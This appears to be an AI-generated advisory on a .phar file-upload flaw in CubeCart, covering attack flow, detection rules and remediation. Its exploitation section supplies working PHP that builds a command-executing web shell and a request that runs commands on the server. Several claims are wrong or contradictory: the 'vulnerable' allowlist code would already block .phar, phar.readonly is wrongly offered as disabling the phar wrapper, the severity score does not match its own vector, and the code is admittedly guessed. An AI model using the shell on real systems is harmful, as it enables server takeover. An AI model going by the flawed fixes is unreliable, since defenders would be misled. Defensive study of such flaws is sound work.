CVE-2024-33438

Executive Summary

CVE-2024-33438 is a critical file upload vulnerability in CubeCart versions prior to 6.5.5. An authenticated attacker can upload a crafted .phar file, which, when processed by the server, can lead to arbitrary code execution. This vulnerability is particularly dangerous because .phar files can be executed as PHP scripts, bypassing typical file upload restrictions. The attack requires authentication, but once an attacker has a valid session, they can fully compromise the server.

Supply Chain & Package Security

CubeCart is a self-hosted e-commerce platform. The vulnerability exists in the core application, not in a third-party package. However, administrators should verify the integrity of their CubeCart installation and ensure no malicious files have been uploaded.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs an authenticated user account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Full system compromise possible.

Threat Level: Critical (9.9)

Deep Dive & Mechanics

The vulnerability lies in the file upload functionality of CubeCart. The application fails to properly validate the file extension and content type of uploaded files. Specifically, it allows the upload of .phar (PHP Archive) files. When a .phar file is accessed via the web server, PHP's phar stream wrapper can execute the code contained within the archive.

The attack flow:

1. An authenticated user logs into the CubeCart admin panel.
2. The attacker navigates to a file upload feature (e.g., product images, file manager).
3. The attacker uploads a malicious .phar file containing PHP code.
4. The attacker accesses the uploaded file via a web request, triggering the execution of the embedded PHP code.
5. The attacker gains arbitrary code execution on the server.

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.5.5): The file upload handler likely only checks the MIME type or file extension against a whitelist that does not include .phar. For example:

$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'pdf');
$file_extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array($file_extension, $allowed_extensions)) {
    // reject
}

This code does not block .phar files.

Patched Code (6.5.5): The patched version adds .phar to the blocklist or uses a more robust validation method, such as checking the file's magic bytes or using finfo to detect the actual file type.

$blocked_extensions = array('php', 'phtml', 'php3', 'php4', 'php5', 'phar');
$file_extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array(strtolower($file_extension), $blocked_extensions)) {
    // reject
}

Additionally, the patched version may disable the phar stream wrapper for uploaded files or store them outside the web root.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid authenticated session in CubeCart admin panel.
• Access to a file upload feature (e.g., product image upload).

Steps:

1. Create a malicious .phar file. Example using PHP:

   <?php
   $phar = new Phar('shell.phar');
   $phar->startBuffering();
   $phar->addFromString('test.txt', 'text');
   $phar->setStub('<?php system($_GET["cmd"]); __HALT_COMPILER(); ?>');
   $phar->stopBuffering();
   ?>
   

   This creates a .phar file that executes the system() function with a command from the cmd GET parameter.

2. Upload the shell.phar file via the CubeCart admin interface.

3. Access the uploaded file. The URL will be something like:

   http://target.com/images/uploads/shell.phar?cmd=id
   

   The server will execute the command and return the output.

Alternative Payload: A simpler payload can be created using a text editor:

test.txt

Then set the stub manually:

<?php system($_GET['cmd']); __HALT_COMPILER(); ?>

Save as shell.phar.

Blue Team (Detection & Prevention)

Detection:

• Monitor file upload logs for .phar file extensions.
• Monitor web server logs for requests to .phar files.
• Use WAF rules to block .phar file uploads and access.

Prevention:

• Immediately upgrade to CubeCart 6.5.5 or later.
• If upgrade is not possible, add .phar to the blocked file extensions list.
• Disable the phar stream wrapper in php.ini:

  phar.readonly = On
  

• Store uploaded files outside the web root and serve them via a script that does not execute PHP.
• Implement strict file type validation using finfo or similar.

Indicators of Compromise (IOCs)

• File: *.phar files in upload directories (e.g., /images/uploads/, /files/).
• Log Entry: Web server access logs showing requests to .phar files.
• Process: Unexpected PHP processes executing from upload directories.
• Network: Outbound connections from the web server to unknown IPs (if the payload establishes a reverse shell).

Detection Engineering

YARA Rule

rule CVE_2024_33438_Phar_Upload {
    meta:
        description = "Detects malicious .phar files used in CVE-2024-33438"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-33438"
    strings:
        $phar_stub = "__HALT_COMPILER"
        $php_code = "system("
        $php_code2 = "exec("
        $php_code3 = "shell_exec("
        $php_code4 = "passthru("
    condition:
        $phar_stub and (any of ($php_code*))
}

Sigma Rule

title: CubeCart .phar File Upload
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects upload of .phar files to CubeCart which may indicate exploitation of CVE-2024-33438
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '.phar'
    condition: selection
falsepositives:
    - Legitimate .phar file uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33438 CubeCart .phar File Upload"; flow:to_server; content:"POST"; http_method; content:".phar"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade CubeCart to version 6.5.5 or later.
2. If upgrade is not possible, manually add .phar to the blocked file extensions list in the application code.
3. Disable the phar stream wrapper in php.ini:

   phar.readonly = On
   

4. Review all uploaded files for any .phar files and remove them.
5. Change all admin passwords and review user accounts for unauthorized access.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block .phar file uploads.
• Regularly update CubeCart and all plugins.
• Conduct security audits of the file upload functionality.
• Use a file integrity monitoring (FIM) solution to detect changes to uploaded files.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.